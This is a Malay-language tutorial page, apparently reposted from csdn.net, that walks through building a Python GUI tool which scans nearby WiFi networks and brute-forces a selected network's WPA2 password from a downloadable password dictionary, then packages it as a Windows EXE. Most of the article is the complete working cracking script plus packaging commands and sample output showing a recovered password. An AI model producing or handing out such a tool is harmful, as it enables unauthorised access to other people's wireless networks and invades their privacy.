Rumah > pembangunan bahagian belakang > Tutorial Python > Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE

Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE

青灯夜游
Lepaskan: 2022-10-25 21:34:04
ke hadapan
4891 orang telah melayarinya

Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE

Python dikenali sebagai ubat penawar dalam dunia pengaturcaraan, jadi adakah mungkin untuk membuat skrip kecil yang membaca kad rangkaian komputer WiFi dan memecahkannya dengan ganas? Atas dasar ini, untuk memudahkan pengalaman, bolehkah ia dibungkus ke dalam aplikasi kecil seperti exe yang mudah dilaksanakan?

Lakukan sahaja~

Pratonton titik fungsi

Artikel ini terutamanya berkongsi keperluan berikut

  • Dapatkan kad rangkaian wayarles dengan python
  • python memperoleh wifi melalui kad rangkaian wayarles
  • python brute force cracks wifi
  • python melaksanakan antara muka grafik GUI
  • python dibungkus ke dalam exe

persediaan -Perpustakaan bergantung

  • comtypes
  • pywifi
  • pyintaller

Contoh: Gunakan idea pycharm untuk memasang pywifi

Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE
Sudah tentu, anda juga boleh terus menggunakan arahan pip install xxx untuk memasangnya

Tulis antara muka GUI dengan Python tkinter

Artikel ini menggunakan TKinter untuk melaksanakan antara muka GUI Adalah lebih menyusahkan untuk menulis antara muka sendiri Anda boleh menggunakan beberapa alat visual (seperti QT5) untuk mengatur automasi kod GUI dengan cepat.

Kamus Kata Laluan

Apakah kamus kata laluan?
Ringkasnya, ia ialah teks yang menyimpan satu siri kata laluan terlebih dahulu, iaitu semua nombor, gabungan nombor dan huruf, nombor telefon mudah alih, nombor talian tetap, hari lahir, dsb.

Anda boleh membuat sendiri kamus kata laluan secara manual semasa menguji artikel ini, anda juga boleh memuat turun pustaka kamus kata laluan berikut
Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE
Pautan: https://pan.baidu.com/s /10v0ghKi_6bkDo3g8-BVLvQ Kod pengekstrakan: zh3m

Buka

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打开文件浏览
import tkinter.messagebox  # 打开tkiner的消息提醒框

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密码文件路径
        self.get_value = StringVar()  # 设置可变内容
        # 获取破解wifi账号
        self.get_wifi_value = StringVar()
        # 获取wifi密码
        self.get_wifimm_value = StringVar()
        # 抓取网卡接口
        self.wifi = pywifi.PyWiFi()
        # 抓取第一个无线网卡
        self.iface = self.wifi.interfaces()[0]
        # 测试链接断开所有链接
        self.iface.disconnect()
        time.sleep(1)  # 休眠1秒
        # 测试网卡是否属于断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        # 自动会调用的函数,返回自身的网卡
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    # 设置窗口
    def set_init_window(self):
        self.init_window_name.title("普帝WIFI破解工具")
        self.init_window_name.geometry('+500+200')

        labelframe = LabelFrame(width=800, height=400, text="配置")  # 框架,以下对象都是对于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="普帝金手指", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # 定义树形结构与滚动条
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # 搜索wifi
    def scans_wifi_list(self):  # 扫描周围wifi列表
        # 开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        print("数量: %s" % (nums))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres
    # 显示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", &#39;end&#39;, values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    # 添加密码文件目录
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeview绑定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    # 读取密码字典,进行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo(&#39;提示&#39;, &#39;破解成功!!!&#39;)
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    # 对wifi和密码进行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 创建wifi链接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名称
        self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        self.profile.key = pwd_Str  # 密码
        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件
        self.iface.connect(self.tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()


if __name__ == "__main__":
    gui_start()
Salin selepas log masuk

Pakej ke dalam exe

pyinstaller -F -w -i 图标名.后缀 源文件.py
Salin selepas log masuk

Untuk penjelasan arahan, lihat penjelasan di akhir artikel

Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE

Kemudian pergi ke Scriptsdist dalam direktori pemasangan python pada komputer anda untuk melihat aplikasi exe berpakej anda

Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE

Demo

Klik dua kali skrip .exe yang dibungkus
Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE

LANGKAH1: Klik untuk mencari lampiran WIFI
LANGKAH2: Tambah direktori fail kata laluan
LANGKAH3: Klik pada Puti Gold Jari untuk retak

Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE

^_^ 开始扫描附近wifi...
数量: 19
[*] 密码正确!wifi名:XXXXXXXX,匹配密码:XXXXXXXX
Salin selepas log masuk

PS

Penyelesaian ralat pembungkusan Pyinstaller

Jika ralat berikut berlaku
struct.error: unpack memerlukan penimbal sebanyak 16 bait
Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE

Penyelesaian: Hanya gunakan alat penukaran ico dalam talian untuk menukar imej Ia perlu ditukar kepada saiz 16*16
Gunakan alat penukaran ico dalam talian.

Penjelasan pyintaller tentang arahan pembungkusan biasa

Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE

[Cadangan berkaitan: Tutorial video Python3]

Atas ialah kandungan terperinci Analisis ringkas tentang cara menggunakan python untuk brute force crack kata laluan wifi aplikasi EXE. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:csdn.net
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan